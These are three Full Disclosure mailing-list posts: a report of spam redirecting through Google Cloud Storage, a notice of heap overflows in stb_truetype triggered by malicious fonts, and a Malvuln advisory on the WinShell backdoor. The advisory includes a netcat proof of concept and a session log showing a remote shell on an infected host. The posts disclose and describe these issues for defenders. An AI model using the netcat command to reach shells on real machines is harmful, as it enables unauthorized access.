[FD] Spammers Using storage[.]googleapis[.]com ?!!?
I notice that among the spam in my Gmail spam folder, there are a number of "address-check" type messages (i.e. that just seek confirmation my address exists), which attempt to get their response by performing a scripted redirect via a web property belonging to Google .. and I tend to think "Huh? ... Surely Google wouldn't let that happen ... is this redirect something that by some chance they don't know about ?". Every link in the spam has the following HREF: https://storage[.]googleapis[.]com/medya00/redirectDOM80.html#[long-alphanum-string-that-presumably-identifies-me] The contents of 'redirectDOM80.html' just sets document.location.href to somewhere else, passing on the ID string. I won't include any of the above spam's boilerplate, but it's offering to let me check my "public records" so that I can find out what other people might know about me. So does anybody know WTF ? Is this some unfortunate side-effect of a Google service that can't be avoided (I have no real idea what the purpose of 'storage[.]googleapis[.]c' might be), or is this in fact some dreadful snafu on the part of some Google sysadmin somewhere ? There's some useless discussion of what sounds like the same thing, here: https://community.norton.com/en/forums/storagegoogleapiscom but it's the very idea of there being an open redirect in a Google web property that astonishes me. These Google support tickets from 2020 suggest that anybody can store anything they want as a second-level URI within s.g.c, and that malicious artifacts are commonly stored there, and that Google is blissfully ignorant of it until each individual artifact is reported, and that even then Google doesn't care and does nothing: https://support.google.com/webmasters/thread/29210246/storage-googleapis-abuse-report?hl=en https://support.google.com/webmasters/thread/24437958/does-google-take-actions-with-regards-to-reported-cloud-storage-abuse-reports?hl=en . but I can't quite believe it - surely they vet incoming traffic ? Allowing the upload of arbitrary HTML to their own domain is well .. [head explodes]. FWIW, people complain that Amazon AWS is also abused in the same way. [No, I haven't bothered to let Google know directly - all of my attempts to let them know about other minor issues with their services have just resulted in a deafening silence - but I will try if folks think I should.] Cheers Nick ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Stb_truetype library heap buffer overflows (many CVEs, no CVEs yet)
Hi list, Posting here for transparency reasons. A 16k stars project, used in, I can imagine game engines, UI, Android/iOS/embedded. Used in another 30k stars project and 11k from even Google (also possibly not fixed). OpenCV 55k stars seems to be also affected (new branch only). Attack vector through malicious font. Buy me a beer if you will get bounty on it and initial fuzzing person https://github.com/nothings/stb/issues/618 Should this have a codename "BadSTB" lol. Thoughts? Per Developer library was not intended to work with untrusted data. Be careful when using it, consider a replacement. This is PSA. Thanks, P.S Full thread here: https://twitter.com/marcinguy/status/1421740689516339200?s=19 ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Backdoor.Win32.WinShell.40 / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c98e23742807f3cb5a095f34e0eb0e52.txt Contact: malvul...@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.WinShell.40 Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected machine. Type: PE32 MD5: c98e23742807f3cb5a095f34e0eb0e52 Vuln ID: MVID-2021-0310 Disclosure: 07/27/2021 Exploit/PoC: nc64.exe x.x.x.x 5277 WinShell v4.0 (C)2001 by janker http://www.bugsos.com ? for help CMD>? i Install u Uninstall w Where r Reboot p Poweroff q Quit e End s Shell url download ? for help CMD>s Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\Victim\Desktop>whoami whoami desktop-2c3iqho\victim C:\Users\Victim\Desktop> Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
